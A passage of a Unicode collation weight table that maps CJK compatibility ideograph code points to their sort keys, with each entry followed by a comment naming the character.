IDEOGRAPH-2F8C5 -F930 ; [.3BFA.0023.0002.64C4][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F930 -FA41 ; [.3BFB.0025.0002.654F][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA41 -2F8C8 ; [.3BFB.0025.0002.654F][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8C8 -FA90 ; [.3C00.0030.0002.6556][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA90 -2F8C9 ; [.3BF5.0030.0002.656C][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8C9 -F969 ; [.3BFE.0032.0002.6578][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F969 -F9BE ; [.3BFA.0025.0002.6599][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BE -F983 ; [.3BFA.0028.0002.65C5][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F983 -2F8CB ; [.3BF5.0035.0002.65E3][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8CB -F9E0 ; [.3C00.0024.0002.6613][.3C79.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E0 -2F8CD ; [.3C01.0026.0002.6649][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8CD -FA12 ; [.3C03.0022.0002.6674][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA12 -FA91 ; [.3C03.0022.0002.6674][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA91 -F9C5 ; [.3C07.002A.0002.6688][.3C80.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C5 -FA43 ; [.3BFE.002B.0002.6691][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA43 -2F8CF ; [.3BFE.002B.0002.6691][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8CF -FA06 ; [.3C06.0022.0002.66B4][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA06 -F98B ; [.3BFA.0022.0002.66C6][.3C79.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98B -F901 ; [.3BF5.0033.0002.66F4][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F901 -2F8CC ; [.3BFE.002D.0002.66F8][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8CC -2F8D4 ; [.3C03.0023.0002.6700][.3C7E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D4 -F929 ; [.3BFA.0022.0002.6717][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F929 -FA92 ; [.3BFA.0022.0002.6717][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA92 -2F8D8 ; [.3BFA.0022.0002.6717][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D8 -FA93 ; [.3BFB.0025.0002.671B][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA93 -2F8D9 ; [.3BFB.0025.0002.671B][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D9 -F9E1 ; [.3BFA.0028.0002.674E][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E1 -2F8DC ; [.3C06.0025.0002.6753][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8DC -FA94 ; [.3C01.002E.0002.6756][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA94 -2F8DB ; [.3BF5.0038.0002.675E][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8DB -F9C8 ; [.3BF7.0021.0002.677B][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C8 -F9F4 ; [.3BFA.0021.0002.6797][.3C87.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F4 -F9C9 ; [.3BFA.0023.0002.67F3][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C9 -F9DA ; [.3BFA.0023.0002.6817][.3C84.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DA -F97A ; [.3BFA.0025.0002.6881][.3C75.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97A -FA44 ; [.3BFB.0027.0002.6885][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA44 -2F8E2 ; [.3BFB.0027.0002.6885][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8E2 -F9E2 ; [.3BFA.0029.0002.68A8][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E2 -2F8E8 ; [.3BFE.0062.0002.6942][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8E8 -2F8EA ; [.3BF5.002A.0002.69EA][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8EA -F914 ; [.3C00.0028.0002.6A02][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F914 -F95C ; [.3C00.0028.0002.6A02][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95C -F9BF ; [.3C00.0028.0002.6A02][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BF -F94C ; [.3BFA.0024.0002.6A13][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94C -F931 ; [.3BFA.0024.0002.6AD3][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F931 -2F8ED ; [.3C01.0021.0002.6ADB][.3C85.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8ED -F91D ; [.3BFA.0023.0002.6B04][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91D -2F8EF ; [.3C03.0028.0002.6B21][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8EF -2F8F1 ; [.3C07.0025.0002.6B54][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8F1 -2F8F3 ; [.3BFE.0023.0002.6B72][.3C78.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8F3 -F98C ; [.3BFA.0023.0002.6B77][.3C79.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98C -F9A5 ; [.3BFA.0023.0002.6BAE][.3C79.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A5 -F970 ; [.3BFE.0023.0002.6BBA][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F970 -FA96 ; [.3BFE.0023.0002.6BBA][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA96 -2F8F5 ; [.3BFE.0023.0002.6BBA][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8F5 -2F8FA ; [.3BFC.0025.0002.6C4E][.3C77.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8FA -F972 ; [.3C03.0024.0002.6C88][.3C87.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F972 -2F8FC ; [.3C00.002B.0002.6CBF][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8FC -F968 ; [.3C06.0024.0002.6CCC][.3C87.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F968 -F9E3 ; [.3BF7.0022.0002.6CE5][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E3 -F915 ; [.3BFA.0021.0002.6D1B][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F915 -FA05 ; [.3BF8.002A.0002.6D1E][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA05 -2F900 ; [.3C06.0029.0002.6D3E][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F900 -F9CA ; [.3BFA.0025.0002.6D41][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CA -FA97 ; [.3BFA.0025.0002.6D41][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA97 -2F902 ; [.3BFA.0025.0002.6D41][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F902 -2F903 ; [.3C07.002E.0002.6D69][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F903 -F92A ; [.3BFA.0023.0002.6D6A][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F92A -FA45 ; [.3C07.002A.0002.6D77][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA45 -2F901 ; [.3C07.002A.0002.6D77][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F901 -2F904 ; [.3C03.0025.0002.6D78][.3C87.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F904 -2F905 ; [.3C00.0022.0002.6D85][.3C79.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F905 -F9F5 ; [.3BFA.0022.0002.6DCB][.3C87.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F5 -F94D ; [.3BFA.0025.0002.6DDA][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94D -F9D6 ; [.3BFA.0024.0002.6DEA][.3C84.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D6 -2F90E ; [.3C00.0026.0002.6DF9][.3C77.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F90E -FA46 ; [.3C01.002C.0002.6E1A][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA46 -2F908 ; [.3C07.002B.0002.6E2F][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F908 -2F909 ; [.3C00.002B.0002.6E6E][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F909 -F9CB ; [.3BFA.0026.0002.6E9C][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CB -F9EC ; [.3BF7.0022.0002.6EBA][.3C87.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9EC -FA99 ; [.3C01.002B.0002.6ECB][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA99 -2F90B ; [.3C01.002B.0002.6ECB][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F90B -F904 ; [.3C07.0022.0002.6ED1][.3C7C.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F904 -F94E ; [.3BFA.0026.0002.6F0F][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94E -FA47 ; [.3C07.0026.0002.6F22][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA47 -FA9A ; [.3C07.0026.0002.6F22][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA9A -F992 ; [.3BFA.0024.0002.6F23][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F992 -2F90F ; [.3C01.0033.0002.6F6E][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F90F -2F912 ; [.3BFC.003C.0002.6FC6][.3C80.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F912 -F922 ; [.3BFA.0025.0002.6FEB][.3C73.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F922 -F984 ; [.3BFA.002A.0002.6FFE][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F984 -2F915 ; [.3C00.002D.0002.701B][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F915 -FA9B ; [.3C01.003D.0002.701E][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA9B -2F914 ; [.3C01.003D.0002.701E][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F914 -2F835 ; [.3C07.002D.0002.7070][.3C7E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F835 -2F918 ; [.3C01.002B.0002.707D][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F918 -F9FB ; [.3C01.002C.0002.7099][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FB -2F91A ; [.3C05.0028.0002.70AD][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F91A -F99F ; [.3BFA.0025.0002.70C8][.3C79.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99F -F916 ; [.3BFA.0022.0002.70D9][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F916 -F993 ; [.3BFA.0025.0002.7149][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F993 -FA48 ; [.3C01.002D.0002.716E][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA48 -FA9C ; [.3C01.002D.0002.716E][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA9C -F9C0 ; [.3BFA.0026.0002.71CE][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C0 -F9EE ; [.3BFA.0023.0002.71D0][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9EE -F932 ; [.3BFA.0027.0002.7210][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F932 -F91E ; [.3BFA.0026.0002.721B][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91E -2F920 ; [.3C03.0036.0002.7228][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F920 -FA9E ; [.3C01.0028.0002.7235][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA9E -2F921 ; [.3C01.0028.0002.7235][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F921 -F946 ; [.3BFA.0023.0002.7262][.3C7E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F946 -2F924 ; [.3BFE.0030.0002.7280][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F924 -FA9F ; [.3BFC.0027.0002.72AF][.3C77.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA9F -F9FA ; [.3BFE.0035.0002.72C0][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FA -F92B ; [.3BFA.0024.0002.72FC][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F92B -FA16 ; [.3C01.002E.0002.732A][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA16 -FAA0 ; [.3C01.002E.0002.732A][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA0 -F9A7 ; [.3BFA.0021.0002.7375][.3C79.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A7 -2F928 ; [.3BF8.0023.0002.737A][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F928 -F961 ; [.3BFE.0021.0002.7387][.3C7B.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F961 -F9DB ; [.3BFE.0021.0002.7387][.3C7B.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DB -2F929 ; [.3C00.0025.0002.738B][.3C7C.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F929 -F9AD ; [.3BFA.0027.0002.73B2][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AD -F917 ; [.3BFA.0023.0002.73DE][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F917 -F9E4 ; [.3BFA.002D.0002.7406][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E4 -F9CC ; [.3BFA.0028.0002.7409][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CC -FA4A ; [.3C05.002B.0002.7422][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4A -2F92F ; [.3C00.003D.0002.745C][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F92F -F9AE ; [.3C07.002D.0002.7469][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AE -FAA1 ; [.3C01.0057.0002.7471][.3C77.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA1 -2F930 ; [.3C01.0057.0002.7471][.3C77.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F930 -F994 ; [.3BFA.0026.0002.7489][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F994 -F9EF ; [.3BFA.0024.0002.7498][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9EF -2F932 ; [.3BF5.003A.0002.74CA][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F932 -F9CD ; [.3BFA.002A.0002.7559][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CD -F976 ; [.3BFA.0022.0002.7565][.3C75.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F976 -F962 ; [.3C00.002C.0002.7570][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F962 -2F938 ; [.3C00.002C.0002.7570][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F938 -F9E5 ; [.3BFA.002F.0002.75E2][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E5 -2F93A ; [.3C00.0059.0002.7610][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F93A -FAA5 ; [.3C00.0023.0002.761F][.3C7B.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA5 -F9C1 ; [.3BFA.0027.0002.7642][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C1 -F90E ; [.3BFA.0023.0002.7669][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90E -FA17 ; [.3C00.0022.0002.76CA][.3C87.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA17 -FAA6 ; [.3C00.0022.0002.76CA][.3C87.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA6 -FAA7 ; [.3BFE.002B.0002.76DB][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA7 -F933 ; [.3BFA.0028.0002.76E7][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F933 -FAA8 ; [.3C01.0021.0002.76F4][.3C87.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA8 -2F940 ; [.3C01.0021.0002.76F4][.3C87.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F940 -F96D ; [.3BFE.002C.0002.7701][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96D -2F945 ; [.3C01.0033.0002.771E][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F945 -FAAA ; [.3C03.0023.0002.7740][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAAA -2F94A ; [.3C01.0034.0002.778B][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F94A -F9CE ; [.3BFA.002C.0002.786B][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CE -F93B ; [.3BFA.0021.0002.788C][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93B -2F94F ; [.3BFA.0021.0002.788C][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F94F -FA4B ; [.3BFC.0038.0002.7891][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4B -F947 ; [.3BFA.0024.0002.78CA][.3C7E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F947 -F964 ; [.3BFC.0032.0002.78FB][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F964 -F985 ; [.3BFA.002B.0002.792A][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F985 -FA4C ; [.3BFE.0046.0002.793E][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4C -FA4E ; [.3BF5.004C.0002.7948][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4E -FA4D ; [.3C01.0035.0002.7949][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4D -FA4F ; [.3C00.0032.0002.7950][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4F -FA50 ; [.3C01.0039.0002.7956][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA50 -2F953 ; [.3C01.0039.0002.7956][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F953 -FA51 ; [.3C03.0023.0002.795D][.3C80.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA51 -FA19 ; [.3BFE.002C.0002.795E][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA19 -FA1A ; [.3BFE.0037.0002.7965][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA1A -F93C ; [.3BFA.0022.0002.797F][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93C -FA52 ; [.3C07.0027.0002.798D][.3C7C.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA52 -FA53 ; [.3C01.0044.0002.798E][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA53 -FA1B ; [.3BFC.0028.0002.798F][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA1B -2F956 ; [.3BFC.0028.0002.798F][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F956 -F9B6 ; [.3BFA.0023.0002.79AE][.3C7A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B6 -F995 ; [.3BF7.0023.0002.79CA][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F995 -2F957 ; [.3C03.0024.0002.79EB][.3C80.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F957 -F956 ; [.3BFA.0023.0002.7A1C][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F956 -FA54 ; [.3BF5.0025.0002.7A40][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA54 -2F959 ; [.3BF5.0025.0002.7A40][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F959 -FA55 ; [.3BF8.0022.0002.7A81][.3C7B.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA55 -F9F7 ; [.3BFA.0022.0002.7ACB][.3C87.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F7 -F9F8 ; [.3BFA.0023.0002.7B20][.3C87.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F8 -FA56 ; [.3C01.0027.0002.7BC0][.3C77.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA56 -FAAD ; [.3C01.0027.0002.7BC0][.3C77.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAAD -2F962 ; [.3C01.003D.0002.7BC6][.3C77.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F962 -2F963 ; [.3C03.0026.0002.7BC9][.3C80.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F963 -F9A6 ; [.3BFA.0025.0002.7C3E][.3C79.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A6 -F944 ; [.3BFA.0026.0002.7C60][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F944 -F9F9 ; [.3BFA.0024.0002.7C92][.3C87.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F9 -FA1D ; [.3C01.0047.0002.7CBE][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA1D -FA03 ; [.3BF8.0029.0002.7CD6][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA03 -F97B ; [.3BFA.0029.0002.7CE7][.3C75.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97B -2F96A ; [.3BF5.004F.0002.7D00][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F96A -F9CF ; [.3BF7.0022.0002.7D10][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CF -F96A ; [.3BFE.0023.0002.7D22][.3C74.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96A -F94F ; [.3BFA.0028.0002.7D2F][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94F -FAAF ; [.3C01.0063.0002.7D5B][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAAF -2F96C ; [.3BFC.0034.0002.7D63][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F96C -F93D ; [.3BFA.0023.0002.7DA0][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93D -F957 ; [.3BFA.0024.0002.7DBE][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F957 -2F96E ; [.3C03.0030.0002.7DC7][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F96E -F996 ; [.3BFA.0027.0002.7DF4][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F996 -FA57 ; [.3BFA.0027.0002.7DF4][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA57 -FAB0 ; [.3BFA.0027.0002.7DF4][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB0 -FA58 ; [.3C01.0036.0002.7E09][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA58 -F950 ; [.3BFA.0029.0002.7E37][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F950 -FA59 ; [.3BFC.0026.0002.7E41][.3C77.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA59 -2F970 ; [.3BFE.0052.0002.7E45][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F970 -FAB1 ; [.3BFC.0035.0002.7F3E][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB1 -FA5A ; [.3BFE.0035.0002.7F72][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA5A -F9E6 ; [.3BFA.0031.0002.7F79][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E6 -F90F ; [.3BFA.0024.0002.7F85][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90F -F9AF ; [.3BFA.0029.0002.7F9A][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AF -FA1E ; [.3C00.0036.0002.7FBD][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA1E -2F979 ; [.3BF5.005A.0002.7FFA][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F979 -F934 ; [.3BFA.0029.0002.8001][.3C7B.0020.0002] # CJK 